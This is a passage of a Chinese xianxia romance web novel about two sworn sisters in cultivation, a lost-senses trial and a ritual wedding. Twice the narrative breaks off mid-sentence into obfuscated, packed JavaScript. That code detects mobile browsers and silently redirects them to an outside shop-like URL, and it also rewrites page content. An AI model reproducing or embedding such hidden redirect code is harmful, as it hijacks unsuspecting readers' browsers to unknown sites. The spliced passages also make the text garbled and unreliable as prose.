师姐用冰块给她敷屁股,念了一百天睡前故事,师哥做了一百块鲜花饼,堆得满桌子都是。她这才消气,重新嘻嘻哈哈起来。 日子就这么热热闹闹过着。 她一天天长高,对师姐的念头却越来越奇怪。不是小时候那种“同类”的亲近,是……想吃掉她。师姐身上太香了,血肉,灵力,魂魄皆是如此。洛闻瑛甚至每次被师姐碰一下都脸红心跳,后来夜里睡在师姐旁边时,得拼命忍着才不去咬她。 她觉得这就是秀色可餐。 师哥倒是越来越冷淡了。那几十年里他三天两头闭关,出来了话也少,看见她也不怎么笑。她乐得清闲,一有空就缠着师姐。 洛闻瑛在师姐院子里种满蓝花楹,师姐修炼她睡觉,师姐睡觉她就睡在旁边。那香味越来越浓,浓得她心里那只被压着的东西蠢蠢欲动。 洛闻瑛想吃掉她,真心实意地想着。一定要找个机会,吃掉她。 59. 前世篇(十九) 灵泽大比,机会来了。 她们遇上一只魔族,魔君座下的护法,是个美艳的女人。那魔物打不过她们俩,临死前放了一场镜花水月,想把她们困住拖延时间。 洛闻瑛几乎是在那一瞬间打定了主意。 她假装中招,任由那幻境将自己吞没。这幻境压制修为,攻击越强反噬越重,专克柳清圆的攻杀之术,而她借着静时留在她灵窍里的那缕神念,根本不会受伤。只要师姐来拉她,只要师姐伸手,她就把师姐拖进来,然后…… 吃掉她。 为了让那镜花水月再逼真一些,她甚至在幻境里分出一缕心神附着在那幻象上。洛闻瑛呆在那设下的灵障里,无聊得开始和静时姐姐讨论起新酿的“拂柳霜露”。静时说那酒要取对方一滴泪,再埋在地下,等对方死了取出来,便是佳酿。她笑着应和,盘算着等吞了师姐,就和静时一起喝。 正聊得高兴,静时脸色一变。 那缕神念忽的就碎了。 她猛地抬头,看见师姐站在幻境里。 不是她拉进来的,是自己一头撞进来的。杀意早已撤尽,只剩这一个拥抱,软软地圈住她,好温暖。 洛闻瑛不知道的是,对于刚从那场幻境里走出来的柳清圆而言,这一刻是死别后的重逢,是失而复得的狂喜。她如何忍得住?只好把整颗真心都捂上去,捂得满满当当,一点也不敢留给自己。 柳清圆:“瑛瑛。” 她怀里的洛闻瑛不住地颤抖着,打算撕开禁制,将自己所有灵力全部凝聚起来,可是身体突然不听她使唤了,动不了了。 “你果然很坏呀。”洛闻瑛听见师姐这样说。 她好像要哭了:“师姐,我错了。” 然后师姐吻了她。不是亲脸颊,是深吻,是撬开齿关,是呼吸交缠。她懵了,整个人都懵了,脑子里那点吃人的念头被这个吻冲得七零八落,直坠心湖。 衣衫褪下的时候,她还在发抖。 有点疼。 又有点怪。 事后她蜷在师姐怀里,心跳得厉害。她忽然有点慌,师姐知道了,师姐知道她想吃她了,师姐知道她有多坏了。 她下意识动用了那缕残破的神念,然后将所有凝聚起来的灵力都探入了师姐的灵窍里,落下一道禁制。 她看着师姐,看了很久很久。然后她闭上眼睛,把这件事压进心底最深处。 第二天醒来,她什么都不记得了。 只记得要对师姐好。要忠心,要全心全意,要一直一直在一起。 师姐也什么都不记得。还是那样笑着亲她,唤她瑛瑛。 洛闻瑛觉得好累,累得眼睛都睁不开了。此刻她整个人都窝在柳清圆怀里,翻个身又抱住师姐的胳膊,沉沉睡去。 柳清圆把小师妹圈在怀里,一下一下顺着她的背,像哄婴儿。洛闻瑛迷糊中睁开眼,目光空空地落在她脸上,眨了眨,似乎在确认眼前的人还在不在,然后往她怀里拱了拱,蜷成小小一团,又睡了过去。 柳清圆低头看她,想说什么,又咽了回去。屋里静得能听见窗外偶尔掠过的鸟鸣。她多希望这一刻能停住,把小师妹嵌在自己怀里,哪儿也不去。 她轻轻低头,嘴唇碰了碰洛闻瑛紧闭的眼皮,刚触到,忽然顿住。 门外传来脚步声。 “你真想好了?” 沈流商一身长生天内门服饰,衣摆绣着远山纹,金光法咒隐隐流转,衬得他眉眼愈发清俊。他瞥了眼洛闻瑛,压低声音:“带她走,能瞒过姑媱山?” 柳清圆没吭声。 “你知道这有多危险?” 她还是不说话。 沈流商叹了口气:“人扣在你这里三年了,我都出关了。当初让我别死了,现在你倒好,一点动静没有。不是说好了要跟我打一场?小师妹只是伤了,能治好的,你放人,姑媱山肯定有办法。” 他絮絮叨叨说了一堆,柳清圆一个字没接。 三年前洛闻瑛渡劫,修为是上去了,她却把自己封了起来。从此灵窍自闭,五感尽失,跟没开智的低阶灵物似的。怀崖说这劫没完,对她来说,这是修行。 柳清圆就留了她下来。 她应了那一声“好”,结契却没结成。这三年,洛闻瑛就困在回忆里,一遍遍过那些事,过那些话。外界有人说这是神罚,是诅咒。柳清圆来历不明,身上有神灵气息,却又不算纯血灵族,有人捧她是“天道之女”,更多人忌惮她、嫉妒她,视她为不祥。 洛闻瑛当初说要跟她结契,在那些人眼里,就是逆天。 他们以为天道不仁,视万物为刍狗。灵族为天道象征,那就理所当然有资格审判别人。可他们也忘了,灵族也生于万物之中,也将归于万物中去。 天地不私,万物自化。这样的道理,自夸者是无法明晓的。灵族,在祖神尸骨之上兴盛起来的族群,世世代代受天庇佑,“普天之下,莫非我土”的信仰更是根深蒂固。 柳清圆不想把瑛瑛交出去。如果交了,怀里这个人就会被偏见带走,被那些自以为是的“天意”带走。 这三年,洛闻瑛难得醒过几次。醒的时候眼前一片黑,只能隐约感觉到柳清圆的轮廓。而柳清圆就只做着两件事。 瑛瑛睡着,她就守着。瑛瑛醒着,她就牵起瑛瑛的手按在自己脸上,按在眼睛上。洛闻瑛摸着摸着,总会低头亲那双水蓝色的眼睛,以此确定她还活着,确定自己还没死。 “我有我的办法。”柳清圆终于开口,“她没有受伤,是修行。我陪她。” 她顿了顿:“我要去找我的来路,给她一条出路。陪她修行,也给那句喜欢一个交代。” 沈流商上前一步,语气里带了恳求:“别这样,你根本不知道自己在做什么。你连自己是谁都不知道,又怎么知道什么是喜欢?听话,把瑛瑛先送回姑媱山,我们一起应对,师父一定有办法。你看我,病都好了,没有过不去的坎。” 他说着,自己都有些心虚。病是好了,可那是因为…… 柳清圆却冷冷地向他一瞥:“你得的相思病,那人回来就好了。不是当然的吗?” 沈流商哑然。那个借口,他自己都快忘了。 柳清圆没有再看他,目光越过他,落在不知名的远方。 “还记得那年灵泽大比前,凌霄殿引大道临世,我们都得到过指示吗?”她声音放得很轻,怕惊醒了怀中人似的。 柳清圆顿了顿,勾起唇角,带着说不清是嘲讽还是笃定的意味:“''东西不是东西,南北不是南北。天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576348|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无路,地下无门。''我原以为这特么算个狗屁,不知来路,不明去处,那我便只图一个逍遥自在就是,可是我现在有点相信了。” “怀崖老头说她即是我的生门,我是真觉得可笑,我岂会受一个小丫头摆布?天道真他娘啰嗦,我早就明白,天上地下无我容身之所,那就该去寻天下地上的人间了,那是我的来路。然而我一直觉得,其实我活不活都无所谓的。” 心似已灰之木,身如不系之舟。所以什么都没有太大的意义了。 刚到长生天时,几个守门弟子见她一副人不人鬼不鬼的样子,直接将她打下山去,半死不活不说,还极尽谩骂攻击之能事,她只是点点头就抬脚再闯山门。 灵泽大比前,她时常能撞见有些人聚在一起编排她“不过是运气好得了机缘”,她听见了,依旧是点点头,然后抬手削白菜似的“唰唰”两下,几颗脑袋就骨碌碌滚下来了。这次不太一样,因为她有了自己的剑。 有时也并非那么干脆的。某些仰慕与感激缠绵得很,绕来绕去,牵扯不清。而这些麻烦,提剑是斩不断的。 门派比试上被她击败的对手,事后红着脸递来求教的拜帖,她收下,然后原封不动退回去,几次三番后,她主动发出来请战贴,对方被彻底打服后,世界终于清静了,因为出手太狠,她的第一把剑也断了。 后来她越来越有名,越来越厉害,山下小镇卖灵符的小仙子的小摊子被砸了,她当时手头紧,便顺手捞了小仙子一把,回去领了一袋灵石,没两天就霍霍光了。然而每次那小仙子见她都眼睛发亮,追着喊“仙长仙长”,她只盘算着没有灵石再赚了,悄咪咪溜得远远的。 她以为她会一直这样的。不以物喜,不以己悲,这就是怀崖老头说的道法自然境界吗? 可又好像不是这样的。 她喜欢灵石叮叮当当,喜欢研读《风华录》,喜欢小师妹永远捧场,喜欢沈流商和她拌嘴,更加喜欢怀崖老头偷偷在小本本上“柳洛”那一栏画的爱心,歪歪扭扭,丑得要死。 她还喜欢套圈圈,喜欢吃兔子糖画,喜欢小寡妇的蹄花汤,那本菜谱到现在她还珍藏着,回来之后她还真在长生天开了一间小灶房。 小师妹渡劫前那段日子,她窝在灶房里一遍遍地试,总算琢磨出了玉兔糕该有的软糯。怀崖老头伸着爪子来偷,被她一巴掌拍开。 她说:“第一口是小师妹的,第二口是沈师弟的,第三口才轮到你!” 这些话她以前从没想过。 直到沈师弟害了相思病,病得七荤八素、只剩一口气,她二话不说撸起袖子就要去把那个“心上人”绑回来。管他是谁,王八蛋就是王八蛋! 直到小师妹渡劫归来,塞给她一份笨拙的告白,她鬼使神差地应了一声“好”,眼眶却热了。 直到瑛瑛那日倒在她怀里,五感一点点剥离,她死死抱着不肯撒手,好像忽然明白了。 究竟是什么时候开始改变的呢?那些曾经的"直到"一个接一个地来,却和小时候砍断那人脖子时的那声"想通了"不一样。那时她也明白了一些事,心里是亮的、满的。可现在,空落落的。不是得到,是失去。失去的那一瞬间,她居然感到痛苦——这样的痛,她从未有过。可这痛里又藏着别的什么,她说不清。 60. 前世篇(二十) 那一次,脖子被砍断一半,她从混沌中醒来,想明白了一件事。 这一次,她好像在失去,也好像在得到。 “可这回还真让这怀崖老头给说中了,真不想承认。可是现在因为她,我愿意改主意了。而我要为她做一回探路的兔子,让她也真真切切地得到些什么。” “我要找回‘我’,我要与她结契。我要让他们知道这就是''天意不可违''。” “瑛瑛生病了,我也病了,我要照顾好她,等她回来,我的病,自然也会好。” 她看向沈流商:“我等了你三年,等你出关,确认你没事,瑛瑛也放心了,这就够了。” “明天我就走。怀崖别想拦我,你也别。你们拦不住的。” 沈流商沉下脸:“原来你谁都不信。不信姑媱山,不信长生天,也不信我。” “那我凭什么信你?凭什么把小师妹交给你?”他压着火气,“你凭什么以为我不会告诉姑媱山,让他们来跟你讲道理?” “随你。”柳清圆语气淡淡的。 空气骤然冷下来。 沈流商周身气息浮动,十年闭关,他灵魄恢复如初,心魔也没了踪影,修为一日千里,如今跟柳清圆差不了多少。真要动手,这院子得拆。 旁边忽然闪过来一个人,金瞳少年,比沈流商还高半个头,一把搂住他肩膀,亲昵地把脸凑过来,手指绕着他的发丝玩:“清圆师姐和瑛瑛不留下来喝喜酒吗?” 沈流商捂住他的嘴,尴尬地冲柳清圆笑笑:“处理点家事。” 柳清圆没理他。 他把人拖走,捆仙绳绑了扔进房里。那二傻子躺床上,一脸娇羞地冲他抛媚眼:“等你回来啊夫君。” 沈流商:“……” 是的,这傻子就是谢济泫。十年闭关后,他光明正大出现了,连怀崖都没看出他是半妖。天天穿一身大红衣裳招摇过市,逢人就问见没见他夫君。再过几天就是他们的结契仪式,怀崖做见证人。 三年前洛闻瑛爬上山门,浑身是血攥着师姐袖子告白,情诗写得磕磕巴巴,婚辞却写得极好。当时怀崖盼着这二位办喜事,谁知道沈流商一出关,倒让他抢了先。 怀崖说了,结契必须办,心意相通,生死不弃,禀明大道。都已经私定终身了,沈流商却还没敢往从极之渊传消息。 他追出来想再跟柳清圆说两句,院子里早没人了。 说好的明天再走呢? 不带上他还怎么逃婚? 沈流商站着愣了一会儿,忽然笑了,轻轻叹了口气。 “一路顺风。” 树木抽了新芽,风里带着潮湿的暖意。春天到了,是个适合分别的晴日。 人间桥边,杨柳依依,春风十里,一个气质出尘的少女倚靠在窗边,双眼覆上一条红色的绸带,春日风起时,桃李花开满天下。 一双修长白皙的手轻轻松开那垮垮的绸带,少女的眼睛睁开时绽开一星粉粉的花光,星光之上映着一溪风月。 “''解鞍欹枕绿杨桥,杜宇一声春晓。''”少女念了念这句诗,开怀大笑,揽住了身边人的腰肢,将人扑倒在身下玩闹着,“我欲醉眠芳草。” 少女转而夺过那红色绸带,在那人身上一点一点胡乱摸索着,一会儿嬉笑着挠人的胳肢窝,一会儿又得逞地叼起她半解的腰带,邀功似的摇着尾巴往前送。 “师姐,我背的对不对?”她的眼睛一闪一闪的,清澈明亮,目若暖阳。 又是一阵春风起,花雨洒落楼阁,深巷响起此起彼伏的卖花声,柳清圆只是看着她发光的眼睛,那星花光散去时,洛闻瑛的眼睛转而失神,一片白茫茫,恍若皑皑山上雪。 洛闻瑛忽然呆住了,手中依旧握着那条绸带,灿烂的笑容逐渐消失,只管呆愣愣地咬着指甲,眉头紧皱,像是在努力回想自己究竟在做什么,又该做出什么反应。 柳清圆愣神了片刻。 她究竟得到了什么呢?柳清圆一直在想这个问题。 当瑛瑛再次开口叫她师姐时,柳清圆心中一下冒出来答案。 她想,她大约是生出了人心。 从前那些“通”与“不通”,不过是刀刃与骨血之间的事了结。是混沌初开时的一线清明,是脆弱者求生的本能。可这一次不一样。 失去之后那空处会透过光,灌进风,灌进雨,慢慢将她的身体凿开,再塞进些说不清道不明的舍不得,经过钝痛后长成了人心。 柳清圆笑了笑,将她握成拳的手轻轻掰开,将手心攥着的那条红绸带接过,轻轻的、细细的为她重新系上了。 “错了啊。”她勾住洛闻瑛的脖颈,算着力道往下带了些,两人鼻尖相抵。“这是你听来的春。” “''瑛粉粉,粥粥温。''这才是你写给我的春。” 高台之上,华服女子端坐,那张倾世容颜静如秋水。她随手拈起一枝折花,低眉端详片刻,指尖轻抚过垂落的花瓣。一缕若有若无的灵力自指尖流淌而出,缠绕着断裂的花枝。不过须臾,那残枝便缓缓舒展,重焕生机,完好如初。 瑶姬将花枝递给面前的小丫头,那小花精扑腾着翅膀飞落下来,恭恭敬敬地双手接过,仔仔细细地插进花盆中央,扶着花枝立在空空的盆土里。 云缨姑姑站在一旁,依旧是那副没有表情的脸。她捧起姑媱山的土,一捧一捧,将花盆填满。土落下去,埋住了根。小花精们扑着翅膀退开。 云缨双手捧着那盆花,立于高台之上,开口唱起送行歌。瑶姬俯视着台下跪拜的红衣女子,面容平和,眉眼间是淡淡的云月之色,仿佛无声之间洒落祝福,愿她此去一路顺遂,事事如意。 楼静时今日出嫁。作为姑媱山的从祭司,嫁入凌霄神族。她头上两边各簪一朵绛红牡丹,妍妍生光。那凤冠霞帔,是嫘祖大神亲手所制,由凌霄神族九十六玄官以灵力织就,衬得她眉眼如画,美得不可方物。眉间那五瓣蓝花楹花钿,更是瑶姬亲手描上去的。 静时对着瑶姬三拜九叩。印记绘好后,瑶姬看向云缨,后者捧着那盆花走下来,亲手交到新娘手里。这是她们这里的传统,姑媱山的女儿出嫁,女神会为她留一枝专属于她的花,留下染过她鲜血的故土——从此生死皆在,哪怕杳无踪迹。 云缨割破静时的眉心。一滴血落下,染红了那花钿。她凝起那滴血,落入花枝,光华流转,又黯淡下去。 楼静时悄悄抬起眼。 这是她第一次看清云缨的眼底,那里清晰地印有自己的影子,好像有什么不一样了,转瞬即逝。她眼眶有些发酸,因为她明白,那是独属于“母亲”的一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576349|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想看得再清楚些,再刻骨铭心些。然而云缨却已转身,回到高台之上,站回大祭司之位,睥睨众生,冷漠如初。 静时微微躬身行礼,仍向着高台。 周围的小花精有些惊愕。礼制是铭文记载的规矩,多一拜破了规矩,谁也不知会引发些什么。它们望着瑶姬,女神却只是付之一笑,也躬身还了一礼。 楼静时要的正是这一拜。 她拜谢母亲之为母亲。而瑶姬给的这一拜,是承诺。 日后,这祭司之位也会是她的。待她留下后代,便会回来承袭,只是这回怕是要离开得久一些了。 传言凌霄神族那位十六殿下,名唤“歇”的,仍在征战之中。 自龙族消逝以后,幽都的异动曾平息过一阵,归于大荒深处。可近来不知为何,又起风云。那片死煞之地,自万年前失去守护大神后便再无人镇守,无人可当,魑魅魍魉四窜而出,上界不得安宁,人间更是哀鸿遍野。 战火重燃,已成定局。上界自顾不暇,更是需要稳固联盟,楼静时嫁得这样匆忙,便是为此。 这场婚事原是可以推脱的。上界再乱,天地再苦,姑媱山也从未有过卷入战事的打算,楼静时这一嫁便是作为弃子而去的。 瑶姬本想要以这桩婚事稳住上界,暗中早布下后路,为的只是保住姑媱山。只是这一回,她没有像当初对云缨那样决绝,临行前,她给了楼静时一个选择。 可楼静时想去看看瑛瑛,想去看看弟弟,毫不犹豫地便应下来婚事。 离山那次相见,是她求来的,以这场婚事作保。非但如此,楼静时还要把修习多年的魂术,尽数渡到洛闻瑛的守护禁制上,护住她平安渡过三重考验,吸收了所有残余的花神元灵。 瑶姬给过她选择,尽管这结果,她不得不从。 如今她已彻底沦为废物,失去根基。若一切平安,她的孩子便是下一任大祭司;若生变故,她便要与上界玉石俱焚。 那又怎样呢。 她垂眸看向怀中那盆花。故土在手心,她的血已落入花枝,无论走多远,姑媱山都知道她在哪里。 高台上,云缨的歌声还在继续。那些听不懂的古语,像风,像云,高远又飘渺。她的眼前模糊了,啪嗒啪嗒,这声音让她不由自主地回想起儿时某个落雨的早晨,母亲靠在父亲肩上,母亲的怀里抱着阿弟,轻柔地摇晃着,咿呀咿呀哟,孩儿长大咯。 凯风吹长棘,夭夭枝叶倾。 小花精们捧过花,在她转身的那一刻洒下花雨,恭送着她一步一步,向那未知的远方走去。 楼静时笑着,顿感心安。她在心底默默自语。 “瑛瑛啊,以后真的只能靠自己了。我只能帮你挣得这段时日,可能会痛苦些,但若能在动乱平息、一切尘埃落定之后再清醒过来,就已经很好了吧?千万别怪我自作主张。 “还有,那句话不用你替我带到了,我要去见我的如意郎君啦。听说你要与她结契,那我就勉强承认你的师姐真的很好,就替我向她说一声抱歉吧。以后,若能有她护着你,我就放心啦! “还有,叫你沈师哥好好的。以后若有机会,便带他来姑媱山看我,好不好?那枝花会留下我的声音,为你留下指引。 “瑛瑛,记得来姑媱山接我。” 61. 前世篇(二十一) 这一缕心念传递完后,楼静时轻轻碰了下眉心,悄然放下手,彻底断开所有联系。在这一刻,千百年的魂术修炼,彻底转到洛闻瑛的禁制之上。 她释然一笑。 离开姑媱山后,或许是因为瑶姬大人的恩慈,楼静时提出绕路人间的请求居然被同意了。 万里清江万里天,一村桑柘一村烟。这里她儿时曾偷偷来过,那时的光景,却与今日大不相同了。 好空啊。 * 洛闻瑛站在窗边,往前扑着抓蝴蝶。伸手挥舞几下,只接了一手的雨水,外面灰蒙蒙的,根本没有蝴蝶。她眼睛上依旧蒙着那条红绸,脑中时而清醒,时而糊涂。五感尽失,听不到,看不到,尝不到,闻不到,甚至感觉不到,整个人都是空的,仿佛失去了活着的实感。 起初是恐惧,后来连话也忘了说,不知该说什么。日日嗜睡,神识也放不出去,可她隐约能感觉到身边有人……是谁呢?为什么叫不出名字? 空空如也,又满满当当。彻底摒弃了外界,反倒独有一方天地。像井里的青蛙,如今青蛙想望天了,可井壁好高,四周漆黑一片。连鲜花饼都只能在脑海里回想,却记不起是什么滋味,大约吃起来也是味同嚼蜡。 她收回手,摸索着往前走。院子和屋里都搬空了,为的是不绊倒她。洛闻瑛顺利地走出房门,雨淅淅沥沥落在身上,她依旧感觉不到,浑身湿透了,却固执地往前走。 她坚信这里应该有蝴蝶。心绪不宁间,方才神识剧烈波动了一下,她以为要冲破桎梏了,却只传来一缕不知名的心念。现在的她还不能理解其中的意思,心中却忽然升起强烈的念头,莫名地想找蝴蝶。可蝴蝶又有什么意义?她不明白,却还是这样做了。 洛闻瑛冲进雨幕时,窗边打瞌睡的两只小翠鸟一个激灵,化了人形,急忙跟在她身边。按着吩咐,它们不去打扰,只是跟着,将她的一举一动记下来。等她再睡过去,替她换上干净衣袍,再用传送阵送回那位的识海空间。如此往复,倒比在外面整天找虫子强。 洛闻瑛就这样毫无阻拦地乱闯,衣裙沾满污泥也浑然不觉。许久之后,她或许是累了,忽然站住,歪头想了半晌,再不动弹。两只小翠鸟也停在不远处。忽然她笑了,伸手往前一抓,张了张嘴,终究什么也没说出口。 身后两只小翠鸟却猛地退远,惊得现了原形,一只人脸鸟嘴,一只两臂化作翅膀,扑腾着就要飞走。 柳清圆被她抱在怀里,见这两个小妖怪这样也不恼,只示意它们先回去。 两只小翠鸟如劫后余生般原地消失。这活计虽好干,可这位大人身上的杀戮之气太重了。她说自己算半个灵族,可它们实在不信。它们畏惧那股死亡的气息,每次她出现,它们总不自在,像是被无形的威压笼罩。 柳清圆抱着洛闻瑛,在雨中站了片刻。 怀里的人浑身湿透,红绸贴在眼上,面色苍白得很,却弯着唇角,像是在笑。她维持着那个向前抓握的姿势,手还虚虚拢着,仿佛真捉住了什么。 “蝴蝶。”洛闻瑛忽然说。 声音很轻,像是从很远的地方飘来。柳清圆低头看她,见她眉间蹙了一下,又舒展开,那只拢着的手慢慢收回,贴在自己心口。 “捉到了。”她说,然后便安静下去,平静地阖上双眼,呼吸逐渐绵长。 柳清圆没有动,雨水顺着她的衣摆滑落,她却像察觉不到,只是垂眼看着怀中的人。半晌,她抬起手,指尖悬在洛闻瑛脸颊近处,停了停,终究没有落下。 自从离开长生天,她身上那两股气息便日益强盛。柳清圆任由煞气裹挟,性情愈发凶戾,出手也愈发残暴。她不得不花费大量时间消解业障,才能勉强维持住这副人的表相。 而不知不觉间,她发现自己对灵族的憎恨竟比从前更深,那几乎成了一种本能的排斥,微微触碰,便会伤到对方。她身上的煞气太重了,而灵族天生与这一切相冲。 想抱一抱她,怎么就那么难呢。 只要变成灵族就好了。可为什么偏偏不愿意?不是不想,是做不到。 柳清圆从前以为,只要摸清来路,便能找到活路。可那句指引之下,根本没有出路,因为四处都是路。她越想救洛闻瑛,越往自己的来处回溯,便越看清那天地间藏着的残酷法则。 她终于明白,灵族的问题无药可救,不是旧疾,是根深蒂固的,是只能等着被推倒重来的痼疾。天地在推她成为那个“新”,可那新的是什么,她不想知道,也不想要了。 于是她停下来。 就卡在这里,卡在绳索即将崩裂的最后一刻。不能回头,也不能向前。这是她为瑛瑛、为自己挣来的最后一点平衡。 可她忘了,万物此消彼长。趋势已经起了,又怎么拦得住?她甚至隐隐得意,觉得自己没有听凭天道摆布。 她依旧整天消解业障,伪装成灵族,不愿成为那颗新星。然而她不动,自有天意要动。 此时的三界与大荒,还没有谁把这二者联系起来。幽都的异动正悄悄与此处挂钩。时势要造英雄,天道选中的人若不进,祂便造时势,让该成英雄的人去成事。大厦将倾,已无回天之法。 柳清圆没有抱紧她。 可怀中的洛闻瑛,却反过来抱紧了她,嘴里还哼哼着,嘟囔什么蝴蝶蝴蝶。柳清圆极力压制着身上的煞气,所幸,没有伤到瑛瑛。 只是她没有分出心思去想,为什么不会。 比如,怀中这个人会不会根本不是灵族,而是和她一样的异类,在天道眼里,是可以将她取而代之的那个。 远处,那两只小翠鸟并没真走。 它们躲在廊下,探头探脑往这边张望。方才吓得现了原形,这会儿缓过来了,又不敢真走,怕那位大人回头找它们算账。两只鸟凑在一块儿,用自以为旁人听不见的声儿嘀嘀咕咕。 “她没生气吧?” “生气还能留咱们命?” “那、那咱们走不走?” “走什么走,活儿还没干完呢!” 话音没落,柳清圆已经被洛闻瑛牵着往屋里走。经过廊下时,她脚步顿了顿,侧过脸来。 两只小翠鸟瞬间噤声,僵在柱子上。 柳清圆没说话,只微微抬了抬下巴,示意它们跟上。 周围场景一转,进了柳清圆的识海。 两只小翠鸟如蒙大赦,又吓得半死,哆哆嗦嗦跟在后头。看着柳清圆把洛闻瑛轻轻放在榻上,又直起身,退后一步,站在榻边静静看着。 两只鸟对视一眼。人家连衣裳都换好了,它俩还能干嘛? “她方 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她想起什么,眼里有了笑意,“姑媱山跟凌霄神族联姻了,是离山时出现的那个小姑娘,她如今也要嫁人了啊……好多年了,怀崖老头每次来信都先要骂我一顿,说我给他留了好大一个烂摊子,留下两个傀偶就跑了……他说为了堵住长生天上下的嘴,每年都有花好多灵石塞进那两个傀偶里演戏。姑媱山来使来了好几拨,他使尽浑身解数才安抚下来。” 她从袖里摸出两封信,在洛闻瑛面前晃了晃,又收回去。 “他说咱俩见色忘义。”柳清圆轻笑一声,“说嫁出去的徒弟泼出去的水,不给他敬茶就私奔了。又说他又不是要多少喜糖才肯罢休,知道咱俩穷,不为难咱们,只要看着咱们幸幸福福的就成。师父,真是有劳你了。” 她说到“咱们”俩字时,语气不自觉软下来。 “他还骂沈流商。”柳清圆接着说,“说沈流商也见色忘义,跟那位结契道侣整天柔情蜜意,他不得不设结界才能安心写话本。” 她顿了顿,目光落在洛闻瑛安静的睡颜上。 “沈流商倒是稳重多了,毕竟是有家室的人了。”她从袖里抽出另一沓信,厚厚一摞,“他最开始来了好些信,一门心思想联络着逃到我这里,他甚至说过……”她忍不住笑起来,“想把那道侣也打断手脚,这样就没人烦他了。” “我才不想他来我们这儿呢,他和他那道侣鹣鲽情深,叫我可怎么好过?” “不过婚事过后,他信里话就变少了。”柳清圆翻了翻那些信,“来得也少了,说的都是正事,说外头什么情形,让我别担心,还让我一定一定顾好你。他还宽宏大量地说,不追究我走之前呛他那几句了。” 柳清圆笑了笑,指尖绕过洛闻瑛鬓角垂落的几缕发丝。 “你说我要不要给他补一份贺礼?听闻世间有一女儿国,其有子母河,男子饮之亦能有孕。下次他再说这些没用的,我就给他喝下这个,看他还有功夫闹腾咱们?” 她抽出一封,展开看了看。 “还有,他很少提他道侣了。”柳清圆说,“倒是一直催我修炼魂术,说对你清醒有用。他还开始翻以前灵泽大比时遇到那女妖的记载,说那镜花水月之术巧妙,全搜罗过来给我学。” 她抬眼,想起什么好笑的事,轻轻一点洛闻瑛的鼻尖。 “瑛瑛啊,叫你好好修炼你就这样惫懒,你的法术能强过我么?我一直都记得啊。” 62. 前世篇(二十二) “还有呢,沈流商他抽风了,他说让我像以前那样看他不顺眼最好,最好下手再不饶人的那种。”柳清圆摇摇头,“他这人,从前总跟我较劲,修炼起来不要命。现在我倒不想修了,他倒巴巴给我塞秘籍,还写得那么详细,吓唬谁呢。” 她垂眼看信,又看看洛闻瑛。 “不过对你有好处,我就还修着。” 她把信收起来,沉默了一会儿。 “瑛瑛。”她忽然开口,声音更轻了,“你还欠我一场结契仪式呢。” 她伸出手,轻轻握住洛闻瑛蜷着的手指。 “说好了的。” 她顿了顿,喉咙发紧。 “怎么却只留我一个人。” 榻上的人呼吸绵长安稳,已经睡沉了。柳清圆就这样静静看着她,目光从眉眼流连到唇角,像要把这副模样刻进骨子里。 不知过了多久,她松开手,替洛闻瑛掖了掖被角。 站起身时,胸腔里那口压了许久的血气再也压不住。她偏过头,一口血呕在地上,殷红溅在识海的白玉地面上,触目惊心。 柳清圆抬手擦了擦嘴角,没回头。 她踉跄一步,稳住身形,跌跌撞撞往识海深处走去。 业障又在翻涌了。 她得去消解。 榻上,洛闻瑛还在睡着,手拢在胸口,像护着什么珍贵的、谁也看不见的东西。 不知过了多久,洛闻瑛忽然轻轻动了一下,嘴唇微启,无声地吐出两个字。 如果柳清圆还在,她会认出那口型,那是她的名字。 但柳清圆已经走了。 两只小翠鸟仍然蹲在窗台上,把自己缩成两团毛茸茸的球。屋里开了好多花,是柳清圆走前用法术幻化的,淡粉的、月白的,在风里轻轻晃着。 榻上的人睡得很沉,眉头却一直轻轻蹙着,拢在胸口的那只手始终没有松开。 “她梦见什么了?”一只小翠鸟小声问。 “不知道。”另一只把脑袋埋进翅膀里,“别说话,守着就行。” 洛闻瑛确实在做梦。 梦里她站在一片白茫茫的雾气中,没有天,没有地,四周什么都没有。她低头看自己,眼睛上没有红绸,她能看见了。她看见自己的手,看见身上干爽的衣裙,看见脚下踩着的,是一层薄薄的水。 水面上有涟漪荡开。 她顺着涟漪望去,雾气的深处,有一个人影。 看不清是谁,只是一个模糊的轮廓,静静站在那里,像等了很久。 洛闻瑛想走过去,脚却抬不起来。她低头,看见水面上映出另一个人的脸,那人蒙着红绸,面色苍白,是那个失去五感的自己。 水中的“她”忽然睁开眼。 红绸还在,可那双眼睛却直直望着她,张开嘴,一字一字地说。 “你抓住的,不是蝴蝶。” 檐下飞来几只蝴蝶,翅膀湿了,停在雨珠串成的帘幕上,轻轻颤着。这正是小翠鸟两个捉回来的真蝴蝶。 雨渐渐小了。淅淅沥沥变成滴滴答答,一声一声,拉得好长。 洛闻瑛的眉头动了动。 小翠最先发现,拿翅膀尖戳了戳小鸟。两只鸟顿时不眨眼了,四只豆大的眼睛死死盯着榻上。 她在挣扎。 眉头越蹙越紧,嘴唇抿了又抿,像是有话想说,想说说不出来,想醒又醒不过来。 小鸟小声嘀咕:“要不要叫大人……” 小翠摇摇头,眼睛一眨不眨地盯着。 窗外那最后几滴雨落完了。檐下安静下来,只有那几只蝴蝶还在颤着翅膀,一下,一下。 洛闻瑛忽然不动了。 